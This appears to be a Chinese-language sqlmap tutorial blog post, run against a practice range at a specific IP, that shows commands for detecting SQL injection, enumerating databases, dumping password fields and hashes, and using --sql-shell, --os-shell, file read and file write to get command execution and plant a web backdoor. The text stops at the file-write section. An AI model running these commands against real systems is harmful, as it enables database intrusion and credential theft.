💪💪SQLMAP图解教程

  • 1.sqlmap介绍
  • 2. sqlmap基础
  • 2.1.打开sqlmap
  • 2.2.判断是否存在注入
  • 2.3.判断文件是否存在注入:
  • 2.4.查询当前数据库下的所有数据库
  • 2.5.获取数据库中的表名
  • 2.6.获取表中的字段名
  • 2.7.获取字段类容
  • 2.8.获取数据库的所有用户
  • 2.9.获取数据库密码
  • 2.10.获取当前数据库网站的名称>
  • 2.11.获取当前网站数据库用户名称
  • 3.sqlmap进阶
  • 3.1参数
  • 3.1.1 `--level 等级`
  • 3.1.2 `--is-dba`
  • 3.1.3 `--roles`
  • 3.1.4 `--referer`
  • 3.1.5 `--sql-shell`
  • 3.1.6 `--os-cmd,--os-shell`
  • 3.1.7 `--file-read`
  • 3.1.8 `--file-write --file-dest`
  • 3.2绕过


1.sqlmap介绍

💪💪 SQLMap是一个自动化的SOL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了根多绕过插件,支持的数据库有MySOL、Microsoft Access、IBM DB2、SQLite、Firebird、PostgreSQL、Microsoft SQL Server.Sybase和SAPMaxDB。SQLMap采用了以下5种独特的SQL注入技术。

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用Union的情况下的注入。
  • 堆查询注入,可以同时执行多条语句时的注入。

💎💎 SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。

2. sqlmap基础

2.1.打开sqlmap

直接输入sqlmap,这里我使用kali演示

sqlmap下载

sqlite 图形化 sqlmap图形化_安全架构

**由于有许多人没有sql环境,我这里以真实靶场为例,靶场地址,⚠️⚠️不同人注册后靶场地址不同,注意区分,

sqlite 图形化 sqlmap图形化_数据库_02

点击后进入如下目录

sqlite 图形化 sqlmap图形化_安全架构_03

这里我们只讨论sqlmap的使用,不考虑解题过程

2.2.判断是否存在注入

sqlmap -u 网址;(当网址后面的参数大于两个的时候,网址要加上英语双引号)

有些使用sqlmap.py,及把sqlmap换成sqlmap.py,不同sqlmap不同

sqlite 图形化 sqlmap图形化_sqlite 图形化_04

2.3.判断文件是否存在注入:

sqlmap -r 文件名(文件名要有正确的路径) 在这里我们可以使用sqlmap进行抓包,然后进行验证

sqlite 图形化 sqlmap图形化_sqlite 图形化_05

sqlite 图形化 sqlmap图形化_sqlite 图形化_06

2.4.查询当前数据库下的所有数据库

sqlmap -u 网址 --dbs

sqlite 图形化 sqlmap图形化_web安全_07

sqlite 图形化 sqlmap图形化_sqlite 图形化_08

在这里我们看到了5个数据库,进入mysql进行测试

2.5.获取数据库中的表名

sqlmap -u 网址 -D 数据库 --tables

sqlite 图形化 sqlmap图形化_sqlite 图形化_09

sqlite 图形化 sqlmap图形化_数据库_10

可以看到mysql数据库下面有多个表,进入user表下面看看

2.6.获取表中的字段名

sqlmap -u 网址 -D 数据库 -T 表名 --columns

sqlite 图形化 sqlmap图形化_web安全_11

sqlite 图形化 sqlmap图形化_数据库_12

可以看到user表下面有多个字段,其中包含敏感字段password,我们可以试一下窃取password

2.7.获取字段类容

sqlmap -u 网址 -D 数据库 -T 表名 -C 字段名 --dump

sqlite 图形化 sqlmap图形化_web安全_13

sqlite 图形化 sqlmap图形化_sqlite 图形化_14

如上图所示,可以看到用户名和密码

2.8.获取数据库的所有用户

sqlmap -u 网址 --users

sqlite 图形化 sqlmap图形化_数据库_15

sqlite 图形化 sqlmap图形化_web安全_16

2.9.获取数据库密码

sqlmap -u 网址 --passwords

sqlite 图形化 sqlmap图形化_web安全_17

sqlite 图形化 sqlmap图形化_1024程序员节_18

2.10.获取当前数据库网站的名称>

sqlmap -u 网址 --current-db

sqlite 图形化 sqlmap图形化_1024程序员节_19

其实我们在进行扫描的时候还可能得到其他重要的信息,比如语言版本,数据库版本,因为有些数据没有进行更新,存在一定的漏洞,如下:

sqlite 图形化 sqlmap图形化_1024程序员节_20

2.11.获取当前网站数据库用户名称

sqlmap -u 网址 --current-user

sqlite 图形化 sqlmap图形化_1024程序员节_21

3.sqlmap进阶

3.1参数

3.1.1 --level 等级

一共有五个等级(1~5),当然探测等级越高,使用的时间越久,这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookies在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试 不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值。sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --level 2

sqlite 图形化 sqlmap图形化_1024程序员节_22

3.1.2 --is-dba

查看当前用户是否为管理员权限sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --is-dba

sqlite 图形化 sqlmap图形化_sqlite 图形化_23

3.1.3 --roles

列出数据库管理员角色: sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --roles

  • 该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候

sqlite 图形化 sqlmap图形化_安全架构_24

3.1.4 --referer

查看数据库用户的角色: sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --referer https://www.baidu.com

  • SQLMap可以在请求中伪造HTTP中的referer, 当–level参数设定为3或3以上时; 会尝试对referer注入。可以使用referer命令来欺骗

3.1.5 --sql-shell

执行指定的sql语句:select * from user sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --sql-shell

sqlite 图形化 sqlmap图形化_安全架构_25

3.1.6 --os-cmd,--os-shell

在数据库为MySOL、PostgreSOL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys exec)和sys eval,那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp cmdshell存储过程,如果被禁用(在MicrosoftSQLServer2005及以上版本默认被禁制),则SQLMap会重新启用它;如果不存在,会自动创建。 用–os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dba的值要为True)。

3.1.7 --file-read

该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQLServer,并且当前用户有权限使用特定的函数时

3.1.8 --file-write --file-dest

该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以一个MySQL的例子复习–file-write–file-dest参数的用法。